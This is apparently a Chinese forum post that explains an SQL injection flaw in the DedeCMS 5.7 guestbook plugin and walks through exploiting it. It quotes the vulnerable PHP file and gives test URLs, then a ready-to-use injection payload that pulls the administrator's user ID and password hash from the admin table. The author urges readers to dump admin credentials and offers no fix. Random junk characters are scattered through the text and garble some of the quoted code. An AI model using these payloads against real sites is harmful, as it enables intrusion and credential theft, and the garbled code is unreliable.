dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
6 C8 |- t2 Z! d# \: A
漏洞文件edit.inc.php具体代码：
& H' K/ F+ W- M3 k
< ?php  

if(!defined('DEDEINC')) exit('Request Error!');  
/ {6 A& p; \8 N9 q6 ^
   
3 M  M/ H9 v7 A1 M7 `
: Y' K9 d* U9 Sif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

else $GUEST_BOOK_POS = "guestbook.php";  
. q1 h* t7 W9 u, ^/ Y
   
% T: m: F0 Z9 j$ h  e! s9 L" c
$id = intval($id);  
' q8 M" o7 U* k0 P
5 [+ a8 G( |# e' F" H* Bif(empty($job)) $job='view';  

   

7 P4 S: O  F9 P) Dif($job=='del' && $g_isadmin)  
9 f) k3 e- V+ M! H1 B
* m# F7 v) F7 Q  U$ B3 L) z4 _2 r{  
0 {5 B. e% r/ J# j3 k7 I* _/ D' e
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
1 x) t/ ]" g8 i* [1 a: x$ P
ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

, H, S8 D. n  r4 M7 B( D" W9 aexit();  
- r) [6 s5 T: y( \* _% x9 v/ J- Z
2 @4 M5 X* G, X0 V; K7 ?}  

4 Y  T) c: d1 Q, M$ [) \else if($job=='check' && $g_isadmin)  
; H  T+ d: w$ ?; x' _
{  

$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
. B8 t0 G2 v: r& U* G
: d4 X  d# Q2 C8 R- xShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

exit();  

}  
% c* l- x. U; c2 W9 O7 K6 q4 O1 _6 J
else if($job=='editok')  
8 c5 Q3 W- h+ M4 J; X
{  
8 Y6 }' M# f4 c: V: _
4 K; S! t- N9 C' O/ n3 f, f$remsg = trim($remsg);  
- b1 l, l  x0 w  ~
if($remsg!='')  

{  

% i; L1 `% x) h, I: m//管理员回复不过滤HTML By:Errorera blog:errs.cc  
" {# ?/ r7 {. m
if($g_isadmin)  
3 d. D6 @9 ]4 s+ O9 ?- z8 X8 C
{  

' Z7 t1 |) t2 Z! ]$ H( Z$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

3 }# Z  O9 F  G//$remsg <br /><font color=red>管理员回复：</font> }  
2 U+ \" B' u7 h4 m5 y; ?8 S2 r1 ^5 `# C% Y
else
! ]! u1 K, o5 A5 B, D1 f2 F
{  
0 @! e+ \2 Z& g5 [% p3 p
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

3 ?+ s; M+ I  f! Z0 S7 f" o$ ^$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
1 S( G* [$ Y$ F8 W" Z
1 _" I% x4 H+ h4 \* @/ e" }( N' x$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

$msg = $oldmsg.$remsg;  

# N( d$ {; i9 @% z1 d}  
# P- L* x( l8 c% l. D
; n/ x  `! ~3 ?) U: ?}  

//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
2 u. N  w+ ^' n% g( q+ n# W
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

! r$ f' ~0 c4 |% VShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

exit();  

}  
9 O" p5 I3 B0 w! ~
//home:www.errs.cc  
  v7 D1 H4 e& ~* A
if($g_isadmin)  
9 i3 k' y3 v0 q1 u: _' S
{  

$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
  k. r2 `! T% t# C0 {5 W% G: ]
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
$ ]. x9 }, D0 w$ P( v& G: Q! K
. i2 W2 x6 \2 X. u: V: H& x, A$ G}  
" {) C7 q8 y2 I) Y4 n7 W
else
, A- T' A! R% x! u, j6 [
{  
# z& a! t/ D4 v1 _
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
. F7 T- N) t! v9 V- j8 @/ H9 \% A) q
} 漏洞成功需要条件：
1. php magic_quotes_gpc=off
+ |& m! I2 Z/ g3 ^( J! a2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问：

www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证


& j# s2 y$ H0 T0 f: w- f+ K明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
" t( B$ X; D/ N- [! C如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问

www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
: ~. O% n$ b' h& L* o0 @1 J7 a
大概利用就是这样，大家有兴趣的多研究下！！

最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

) q+ E/ j5 {/ v' w! F: K' Zview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='